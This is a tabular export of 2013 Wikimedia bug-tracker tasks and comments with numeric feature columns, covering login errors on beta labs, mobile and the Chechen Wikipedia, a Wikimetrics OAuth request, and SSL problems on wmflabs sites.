+259825,beta labs: fatal error on login attempt: Class 'GettingStarted\MobileContext' not found,Sam did some fix on GettingStarted an hour ago:  https://gerrit.wikimedia.org/r/#/c/97522/,,,1385398070,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-jtaqioqlnz7gpz44kcf7,task_subcomment,,True,c2,3,True,,,12,True,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+259818,beta labs: fatal error on login attempt: Class 'GettingStarted\MobileContext' not found,"Confirming. Trying to log in into http://en.wikipedia.beta.wmflabs.org I end up at   http://en.wikipedia.beta.wmflabs.org/wiki/Special:CentralLogin/complete?token=12345678901234567890123456789012 , getting the same error.
+Reloading that page, I am logged in.",,,1385397422,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-jtaqioqlnz7gpz44kcf7,task_subcomment,,True,c2,3,True,,,12,True,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,0,1
+59624,Login page JavaScript exception: Error: Template not found: overlays/cleanup Error {},"https://m.mediawiki.org/wiki/Special:UserLogin
+
+Exception thrown by mobile.issues.beta load.php?debug=false&lang=en&modules=jquery%2Cmediawiki%2CSpinner%7Cjquery.triggerQueueCallback%2Cl…:145
+Error: Template not found: overlays/cleanup Error {} load.php?d
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Needs Triage,90.0,1385504520,1386181898.0,PHID-USER-5dwuaigmkz2vzg65lape,False,,False,PHID-TASK-zckfoj72hmkauqbmxgnj,task_description,resolved,True,c2,3,False,False,False,12,True,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+264903,Login page JavaScript exception: Error: Template not found: overlays/cleanup Error {},"Change 99027 merged by jenkins-bot:
+Bug 57624: proper js resource loading in zero
+
+https://gerrit.wikimedia.org/r/99027",,,1386180058,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zckfoj72hmkauqbmxgnj,task_subcomment,,True,c2,3,False,,,14,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+264898,Login page JavaScript exception: Error: Template not found: overlays/cleanup Error {},"Change 99027 had a related patch set uploaded by Yurik:
+Bug 57624: proper js resource loading in zero
+
+https://gerrit.wikimedia.org/r/99027",,,1386129953,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zckfoj72hmkauqbmxgnj,task_subcomment,,True,c2,3,False,,,14,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+264892,Login page JavaScript exception: Error: Template not found: overlays/cleanup Error {},"Looks like an issue with Zero.
+'class' => 'MFResourceLoaderModule',
+
+
+Several issues:
+1) mobile.zero.scripts and mobile.zero.templates can now be merged into one module specifying:
+'class' => 'MFResourceLoaderModule',
+2) Explicitly add to dependencies for this module: 'mobile.templates'
+
+Basically what is happening is the code for templates is not being loaded before the template is added.",,,1386094070,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-zckfoj72hmkauqbmxgnj,task_subcomment,,True,c2,3,False,,,13,True,1,0,0,1,1,1,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,0,1,1,0,1,0,0,0,1,1,0,1,0,0,1
+264887,Login page JavaScript exception: Error: Template not found: overlays/cleanup Error {},"Created attachment 13966
+Errors in action
+
+**Attached**: {F12200}",,,1386033965,,PHID-USER-jh2oguhshocanixqvlfk,False,,,PHID-TASK-zckfoj72hmkauqbmxgnj,task_subcomment,,True,c2,3,False,,,13,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+264882,Login page JavaScript exception: Error: Template not found: overlays/cleanup Error {},"From IRC:
+
+yurik-road:
+awjr, seems like i can still repo it - https://en.m.wikipedia.org/wiki/New_York?debug=true -- and make sure you spoof X-CS=250-99 and User-Agent=android
+
+I can verify - after setting my x-cs headers, I was able to trigger the error. Is this a zero bug though rather than mobilefrontend?
+
+See attached screenshot.",,,1386033939,,PHID-USER-jh2oguhshocanixqvlfk,False,,,PHID-TASK-zckfoj72hmkauqbmxgnj,task_subcomment,,True,c2,3,False,,,13,True,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,1,1,0,0,1,0,0,1,1,1,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,0,0,1,1,0,1,0,1,0,0,0
+264878,Login page JavaScript exception: Error: Template not found: overlays/cleanup Error {},Yuri - how are you replicating this and on what wiki?,,,1386006797,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-zckfoj72hmkauqbmxgnj,task_subcomment,,True,c2,3,False,,,13,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,0,0,0,0,0,0,0,0,1,1,1,1,0,0,1,0,1,0,0,1,0,0,0
+264874,Login page JavaScript exception: Error: Template not found: overlays/cleanup Error {},*** Bug 57766 has been marked as a duplicate of this bug. ***,,,1386006730,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-zckfoj72hmkauqbmxgnj,task_subcomment,,True,c2,3,False,,,13,True,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+264870,Login page JavaScript exception: Error: Template not found: overlays/cleanup Error {},Cannot replicate.,,,1385594306,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-zckfoj72hmkauqbmxgnj,task_subcomment,,True,c2,3,False,,,13,True,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
+264864,Login page JavaScript exception: Error: Template not found: overlays/cleanup Error {},"**bingle-admin** wrote:
+
+Prioritization and scheduling of this bug is tracked on Mingle card https://wikimedia.mingle.thoughtworks.com/projects/mobile/cards/1458",,,1385510964,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-zckfoj72hmkauqbmxgnj,task_subcomment,,True,c2,3,False,,,13,True,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+264856,Login page JavaScript exception: Error: Template not found: overlays/cleanup Error {},"**bingle-admin** wrote:
+
+Prioritization and scheduling of this bug is tracked on Mingle card https://wikimedia.mingle.thoughtworks.com/projects/mobile/cards/1455",,,1385505612,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-zckfoj72hmkauqbmxgnj,task_subcomment,,True,c2,3,False,,,12,True,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+59493,Allow Wikimedia OAuth login,"Currently, a Google account is required to log in into Wikimetrics.
+
+Now OAuth has been deployed for Wikimedia accounts, https://metrics.wmflabs.org/login seems a good candidate to consume it.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Needs Triage,90.0,1385251080,1387359680.0,PHID-USER-4opnqejtv7adgswtxy67,False,,False,PHID-TASK-yw42vj5h5opz3w6py6lb,task_description,resolved,True,c2,3,False,False,False,12,True,0,0,0,1,0,1,0,0,0,0,1,0,1,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,1,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,0,1,0,0,0,0,0
+280357,Allow Wikimedia OAuth login,"thanks Nemo, I'll try to be more careful about linking to bugs in the future.",,,1388414681,,PHID-USER-vbyvvtbztxaeuaxelxx4,False,,,PHID-TASK-yw42vj5h5opz3w6py6lb,task_subcomment,,True,c2,3,False,,,17,True,0,0,0,0,0,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,1,1,0,0
+280354,Allow Wikimedia OAuth login,"(In reply to comment #3)
+> This looks fixed to me
+
+In https://gerrit.wikimedia.org/r/#/c/102618/ it seems",,,1388243570,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-yw42vj5h5opz3w6py6lb,task_subcomment,,True,c2,3,True,,,17,True,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,1,1,0,1,0,1,1,0,0,0,0,1,1,0,0,1,0,0,0,1
+280350,Allow Wikimedia OAuth login,This looks fixed to me,,,1387359680,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-yw42vj5h5opz3w6py6lb,task_subcomment,,True,c2,3,True,,,16,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,0,0
+280346,Allow Wikimedia OAuth login,"This was definitely the plan all along.  I will get to this but I'm not sure if right away.  If you need this right away, I'd be happy to help with a gerrit Change",,,1385303623,,PHID-USER-vbyvvtbztxaeuaxelxx4,False,,,PHID-TASK-yw42vj5h5opz3w6py6lb,task_subcomment,,True,c2,3,False,,,12,True,1,0,0,0,1,1,1,0,0,1,0,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,1,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,1,0,0,0,0,0
+280341,Allow Wikimedia OAuth login,Prioritization and scheduling of this bug is tracked on Mingle card https://mingle.corp.wikimedia.org/projects/analytics/cards/1284,,,1385251615,,PHID-USER-v7l22dsoqmpmlusn2mhn,False,,,PHID-TASK-yw42vj5h5opz3w6py6lb,task_subcomment,,True,c2,3,False,,,12,True,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+59410,"Login for content language ""ce"" broken because of ""/"" in special page name","Hi. We have a problem with the entrance and exit to the site.
+
+Please correct synonyms, we are no longer able to enter the system under its
+
+entrance
+
+https://ce.wikipedia.org/w/index.php?title=%D0%91%D0%B5%D0%BB%D1%85%D0%B0%D0%BD:%D0%A7%D1%83%D0%B2%D0%B0%D0%BB%D0%B0%D1%80/%D1%8F%D0%BB%D0%B0%D1%80&returnto=%D0%9A%D0%BE%D1%8C%D1%80%D1%82%D0%B0+%D0%B0%D0%B3%D3%80%D0%BE
+
+output
+
+https://ce.wikipedia.org/w/index.php?title=%D0%91%D0%B5%D0%BB%D1%85%D0%B0%D0%BD:%D0%90%D1%80%D0%B0%D0%B2%D0%B0%D0%BB%D0%B0%D1%80/%D1%8F%D0%BB%D0%B0%D1%80&returnto=%D0%9A%D0%BE%D1%8C%D1%80%D1%82%D0%B0+%D0%B0%D0%B3%D3%80%D0%BE
+
+
+Userlogin → Чудалар
+Userlogout → Арадалар
+
+--------------------------
+**Version**: wmf-deployment
+**Severity**: major",Needs Triage,90.0,1385114220,1385155180.0,PHID-USER-7326nrjc6zhnjwnxngjy,False,,False,PHID-TASK-n7phghrdsgveme7tbx73,task_description,resolved,True,c2,3,False,False,True,12,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,1,0,0,1,1,1,0,0,0,1,1,0,1,0,0,1,0,1
+275390,"Login for content language ""ce"" broken because of ""/"" in special page name",Earned. Thank you very much.,,,1385154460,,PHID-USER-7326nrjc6zhnjwnxngjy,False,,,PHID-TASK-n7phghrdsgveme7tbx73,task_subcomment,,True,c2,3,False,,,12,True,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0
+275383,"Login for content language ""ce"" broken because of ""/"" in special page name","We are in the process of getting the update deployed on Wikimedia wikis, including ce.wikipedia.org. This is why the advise is to translate *what the source code says* and to not start inventing cool adaptations of what translators think will look cool.
+
+Root cause of the issues was this change: https://translatewiki.net/w/i.php?title=MediaWiki:Sp-translate-data-SpecialPageAliases/ce&diff=prev&oldid=4793903",,,1385142133,,PHID-USER-w5a723w3wes6jd5wskgg,False,,,PHID-TASK-n7phghrdsgveme7tbx73,task_subcomment,,True,c2,3,False,,,12,True,0,0,0,0,1,1,1,0,0,0,1,0,0,0,0,1,0,0,1,0,1,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,1,0,0,1,0,0,0
+275377,"Login for content language ""ce"" broken because of ""/"" in special page name","Change 97032 merged by jenkins-bot:
+Localisation updates from https://translatewiki.net.
+
+https://gerrit.wikimedia.org/r/97032",,,1385140020,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-n7phghrdsgveme7tbx73,task_subcomment,,True,c2,3,False,,,12,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+275373,"Login for content language ""ce"" broken because of ""/"" in special page name","Change 97034 merged by Reedy:
+Localisation updates from https://translatewiki.net.
+
+https://gerrit.wikimedia.org/r/97034",,,1385139752,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-n7phghrdsgveme7tbx73,task_subcomment,,True,c2,3,False,,,12,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+275369,"Login for content language ""ce"" broken because of ""/"" in special page name","Change 97033 merged by Reedy:
+Localisation updates from https://translatewiki.net.
+
+https://gerrit.wikimedia.org/r/97033",,,1385139738,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-n7phghrdsgveme7tbx73,task_subcomment,,True,c2,3,False,,,12,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+275363,"Login for content language ""ce"" broken because of ""/"" in special page name","Change 97034 had a related patch set uploaded by Siebrand:
+Localisation updates from https://translatewiki.net.
+
+https://gerrit.wikimedia.org/r/97034",,,1385139583,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-n7phghrdsgveme7tbx73,task_subcomment,,True,c2,3,False,,,12,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+275357,"Login for content language ""ce"" broken because of ""/"" in special page name","Change 97033 had a related patch set uploaded by Siebrand:
+Localisation updates from https://translatewiki.net.
+
+https://gerrit.wikimedia.org/r/97033",,,1385139565,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-n7phghrdsgveme7tbx73,task_subcomment,,True,c2,3,False,,,12,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+275351,"Login for content language ""ce"" broken because of ""/"" in special page name","Change 97032 had a related patch set uploaded by L10n-bot:
+Localisation updates from https://translatewiki.net.
+
+https://gerrit.wikimedia.org/r/97032",,,1385139456,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-n7phghrdsgveme7tbx73,task_subcomment,,True,c2,3,False,,,12,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+275345,"Login for content language ""ce"" broken because of ""/"" in special page name","Anyone know how long this has been broken? or if slashes in special page aliases ever worked?
+
+It appears that the special page aliases were added in July, with slashes, and that the version of MediaWiki deployed then (1.22wmf10) also had broken login page.
+
+Anyway, removing the slashes will fix it but new translations are not deployed immediately.  They should be deployed sometime in the next 6 hours or so.",,,1385129282,,PHID-USER-lzhljhpbm3qfphvqyill,False,,,PHID-TASK-n7phghrdsgveme7tbx73,task_subcomment,,True,c2,3,False,,,12,True,0,1,0,1,1,1,0,0,0,1,1,0,0,0,0,0,0,1,1,1,0,1,0,0,1,0,0,0,0,1,0,1,1,1,1,0,1,0,0,0,0,1,1,1,0,0,0,0,1,1,1,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,1,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,0,0,1,0,1,0,0,1,0,0,0
+275340,"Login for content language ""ce"" broken because of ""/"" in special page name","Yeah, exactly because of slashes. But translatewiki do nothing to fix it.",,,1385122561,,PHID-USER-la7uv7mwacrpgvk65kzb,False,,,PHID-TASK-n7phghrdsgveme7tbx73,task_subcomment,,True,c2,3,False,,,12,True,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0
+275335,"Login for content language ""ce"" broken because of ""/"" in special page name","I am writing to let everyone know
+The site http://translatewiki.net I corrected
+
+http://translatewiki.net/wiki/MediaWiki:Sp-translate-data-SpecialPageAliases/ce",,,1385121986,,PHID-USER-7326nrjc6zhnjwnxngjy,False,,,PHID-TASK-n7phghrdsgveme7tbx73,task_subcomment,,True,c2,3,False,,,12,True,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,1,0,0,0,1,0,0,1
+275329,"Login for content language ""ce"" broken because of ""/"" in special page name","After setting my local test wiki to Chechen language, I am certain this is caused by the slashes in the localised name of the special page. 
+
+Maybe this change [1] needs to be reverted.
+
+[1] https://gerrit.wikimedia.org/r/#q,I6e427d047a2f8e58677eb65b50866f767078c255,n,z",,,1385120253,,PHID-USER-sx63fwaih5kjt7bz4u6z,False,,,PHID-TASK-n7phghrdsgveme7tbx73,task_subcomment,,True,c2,3,False,,,12,True,0,0,0,1,0,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,0,1
+275323,"Login for content language ""ce"" broken because of ""/"" in special page name","If you've unified your account, you should be able to log in at any other language Wikipedia, e.g. [[ru:Special:Userlogin]].
+
+But users without unified accounts cannot log into this wiki at all.",,,1385119144,,PHID-USER-sx63fwaih5kjt7bz4u6z,False,,,PHID-TASK-n7phghrdsgveme7tbx73,task_subcomment,,True,c2,3,False,,,12,True,1,0,0,0,1,1,1,0,0,1,1,1,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,0,1,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,1
+275314,"Login for content language ""ce"" broken because of ""/"" in special page name","This is the real problem. I really tried to login in Chechen Wikipedia, but there's simply no such page there. Could you please restore all modifications of login-module even if it needed to revert English messages?",,,1385119104,,PHID-USER-la7uv7mwacrpgvk65kzb,False,,,PHID-TASK-n7phghrdsgveme7tbx73,task_subcomment,,True,c2,3,False,,,12,True,1,0,0,0,0,1,1,0,0,1,1,1,0,0,1,1,0,1,1,0,1,0,0,0,1,0,0,0,1,0,0,1,0,1,0,1,0,0,0,0,1,0,0,1,0,0,0,0,0,1,1,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,0,0,1,1,1,1,0,0,1,0,0,0,0,0,0,0,0
+59371,SSL-Error for https at ee-dashboard.wmflabs.org (ssl_error_rx_record_too_long),"Unable to connect via https to https://ee-dashboard.wmflabs.org/ with Firefox and Chrome.
+
+Firefox gives the error message: ssl_error_rx_record_too_long
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+**URL**: https://ee-dashboard.wmflabs.org/
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=60865",Needs Triage,90.0,1385065320,1396211622.0,PHID-USER-jcypqodpdpbcicgwgh7j,False,,False,PHID-TASK-elp5rbzac3txvdjf54ze,task_description,resolved,True,c2,3,True,False,False,12,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+273193,SSL-Error for https at ee-dashboard.wmflabs.org (ssl_error_rx_record_too_long),just tested again. Seems fixed now.,,,1396211622,,PHID-USER-jcypqodpdpbcicgwgh7j,False,,,PHID-TASK-elp5rbzac3txvdjf54ze,task_subcomment,,True,c2,3,True,,,30,True,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,1,1,0,1,0,0,0
+273189,SSL-Error for https at ee-dashboard.wmflabs.org (ssl_error_rx_record_too_long),Prioritization and scheduling of this bug is tracked on Mingle card https://mingle.corp.wikimedia.org/projects/analytics/cards/1280,,,1385072210,,PHID-USER-v7l22dsoqmpmlusn2mhn,False,,,PHID-TASK-elp5rbzac3txvdjf54ze,task_subcomment,,True,c2,3,False,,,12,True,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+273183,SSL-Error for https at ee-dashboard.wmflabs.org (ssl_error_rx_record_too_long),"This is not a general Labs issue, but for a specific project.
+Moving to the Analytics crew.",,,1385071786,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-elp5rbzac3txvdjf54ze,task_subcomment,,True,c2,3,True,,,12,True,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,1,0,0,0
+58927,SSL Certificate for UTRS on wmflabs.org,"**Author:** `tparis.wiki`
+
+**Description:**
+Please set up an SSL cert for the UTRS project.
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement
